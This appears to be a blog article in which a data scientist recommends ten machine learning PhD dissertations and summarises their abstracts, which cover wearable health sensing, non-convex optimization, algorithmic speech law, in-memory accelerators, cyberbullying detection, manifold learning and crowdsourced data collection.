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As a data scientist, an integral part of my work in the field revolves around keeping current with research coming out of academia. I frequently scour arXiv.org for late-breaking papers that show trends and fertile areas of research. Other sources of valuable research developments are in the form of Ph.D. dissertations, the culmination of a doctoral candidate’s work to confer his/her degree. Ph.D. candidates are highly motivated to choose research topics that establish new and creative paths toward discovery in their field of study. In this article, I present 10 compelling machine learning dissertations that I found interesting in terms of my own areas of pursuit. I hope you’ll find several of them that match your own interests. Each thesis may take a while to consume but will result in hours of satisfying summer reading. Enjoy!
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Over the past several years, the use of wearable devices has increased dramatically, primarily for fitness monitoring, largely due to their greater sensor reliability, increased functionality, smaller size, increased ease of use, and greater affordability. These devices have helped many people of all ages live healthier lives and achieve their personal fitness goals, as they are able to see quantifiable and graphical results of their efforts every step of the way (i.e. in real-time). Yet, while these device systems work well within the fitness domain, they have yet to achieve a convincing level of functionality in the larger domain of healthcare.
The goal of the research detailed in this dissertation is to explore and develop accurate and quantifiable sensing and machine learning techniques for eventual real-time health monitoring by wearable device systems. To that end, a two-tier recognition system is presented that is designed to identify health activities in a naturalistic setting based on accelerometer data of common activities. In Tier I a traditional activity recognition approach is employed to classify short windows of data, while in Tier II these classified windows are grouped to identify instances of a specific activity.
This dissertation proposes efficient algorithms and provides theoretical analysis through the angle of spectral methods for some important non-convex optimization problems in machine learning. Specifically, the focus is on two types of non-convex optimization problems: learning the parameters of latent variable models and learning in deep neural networks. Learning latent variable models is traditionally framed as a non-convex optimization problem through Maximum Likelihood Estimation (MLE). For some specific models such as multi-view model, it’s possible to bypass the non-convexity by leveraging the special model structure and convert the problem into spectral decomposition through Methods of Moments (MM) estimator. In this research, a novel algorithm is proposed that can flexibly learn a multi-view model in a non-parametric fashion. To scale the nonparametric spectral methods to large datasets, an algorithm called doubly stochastic gradient descent is proposed which uses sampling to approximate two expectations in the problem, and it achieves better balance of computation and statistics by adaptively growing the model as more data arrive. Learning with neural networks is a difficult non-convex problem while simple gradient-based methods achieve great success in practice. This part of the research tries to understand the optimization landscape of learning one-hidden-layer networks with Rectified Linear (ReLU) activation functions. By directly analyzing the structure of the gradient, it can be shown that neural networks with diverse weights have no spurious local optima.
We increasingly depend on algorithms to mediate information and thanks to the advance of computation power and big data, they do so more autonomously than ever before. At the same time, courts have been deferential to First Amendment defenses made in light of new technology. Computer code, algorithmic outputs, and arguably, the dissemination of data have all been determined as constituting “speech” entitled to constitutional protection. However, continuing to use the First Amendment as a barrier to regulation may have extreme consequences as our information ecosystem evolves. This research focuses on developing a new approach to determining what should be considered “speech” if the First Amendment is to continue to protect the marketplace of ideas, individual autonomy, and democracy.
There is much interest in embedding data analytics into sensor-rich platforms such as wearables, biomedical devices, autonomous vehicles, robots, and Internet-of-Things to provide these with decision-making capabilities. Such platforms often need to implement machine learning (ML) algorithms under stringent energy constraints with battery-powered electronics. Especially, energy consumption in memory subsystems dominates such a system’s energy efficiency. In addition, the memory access latency is a major bottleneck for overall system throughput. To address these issues in memory-intensive inference applications, this dissertation proposes deep in-memory accelerator (DIMA), which deeply embeds computation into the memory array, employing two key principles: (1) accessing and processing multiple rows of memory array at a time, and (2) embedding pitch-matched low-swing analog processing at the periphery of bitcell array.
Large and sparse datasets, such as user ratings over a large collection of items, are common in the big data era. Many applications need to classify the users or items based on the high-dimensional and sparse data vectors, e.g., to predict the profitability of a product or the age group of a user, etc. Linear classifiers are popular choices for classifying such data sets because of their efficiency. In order to classify the large sparse data more effectively, the following important questions need to be answered: (a) Sparse data and convergence behavior. How different properties of a data set, such as the sparsity rate and the mechanism of missing data systematically affect convergence behavior of classification? (b) Handling sparse data with non-linear model. How to efficiently learn non-linear data structures when classifying large sparse data? This dissertation attempts to address these questions with empirical and theoretical analysis on large and sparse data sets.
As the size of Twitter data is increasing, so are undesirable behaviors of its users. One such undesirable behavior is cyberbullying, which could lead to catastrophic consequences. Hence, it is critical to efficiently detect cyberbullying behavior by analyzing tweets, in real-time if possible. Prevalent approaches to identifying cyberbullying are mainly stand-alone, and thus, are time-consuming. This dissertation proposes a new approach called distributed-collaborative approach for cyberbullying detection. It contains a network of detection nodes, each of which is independent and capable of classifying tweets it receives. These detection nodes collaborate with each other in case they need help in classifying a given tweet. The study empirically evaluates various collaborative patterns, and it assesses the performance of each pattern in detail. Results indicate an improvement in recall and precision of the detection mechanism over the stand- alone paradigm.
Extreme Learning Machine (ELM) is a training algorithm for Single-Layer Feed-forward Neural Network (SLFN). The difference in theory of ELM from other training algorithms is in the existence of explicitly-given solution due to the immutability of initialed weights. In practice, ELMs achieve performance similar to that of other state-of-the-art training techniques, while taking much less time to train a model. Experiments show that the speedup of training ELM is up to the 5 orders of magnitude comparing to standard Error Back-propagation algorithm. ELM is a recently discovered technique that has proved its efficiency in classic regression and classification tasks, including multi-class cases. In this dissertation, extensions of ELMs for non-typical for Artificial Neural Networks (ANNs) problems are presented.
The subject of manifold learning is vast and still largely unexplored. As a subset of unsupervised learning it has a fundamental challenge in adequately defining the problem but whose solution is to an increasingly important desire to understand data sets intrinsically. It is the overarching goal of this work to present researchers with an understanding of the topic of manifold learning, with a description and proposed method for performing manifold learning, guidance for selecting parameters when applying manifold learning to large scientific data sets and together with open source software powerful enough to meet the demands of big data.
Artificial intelligence and machine learning power many technologies today, from spam filters to self-driving cars to medical decision assistants. While this revolution has hugely benefited from algorithmic developments, it also could not have occurred without data, which nowadays is frequently procured at massive scale from crowds. Because data is so crucial, a key next step towards truly autonomous agents is the design of better methods for intelligently managing now-ubiquitous crowd-powered data-gathering processes. This dissertation takes this key next step by developing algorithms for the online and dynamic control of these processes. The research considers how to gather data for its two primary purposes: training and evaluation.
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New computing systems have emerged in response to the increasing size and complexity of modern datasets. For best performance, machine learning methods must be designed to closely align with the underlying properties of these systems. This dissertation illustrates the impact of system-aware machine learning through the lens of optimization, a crucial component in formulating and solving most machine learning problems. Classically, the performance of an optimization method is measured in terms of accuracy (i.e., does it realize the correct machine learning model?) and convergence rate (after how many iterations?). In modern computing regimes, however, it becomes critical to additionally consider a number of systems-related aspects for best overall performance. These aspects can range from low-level details, such as data structures or machine specifications, to higher-level concepts, such as the tradeoff between communication and computation. We propose a general optimization framework for machine learning, CoCoA, that gives careful consideration to systems parameters, often incorporating them directly into the method and theory.
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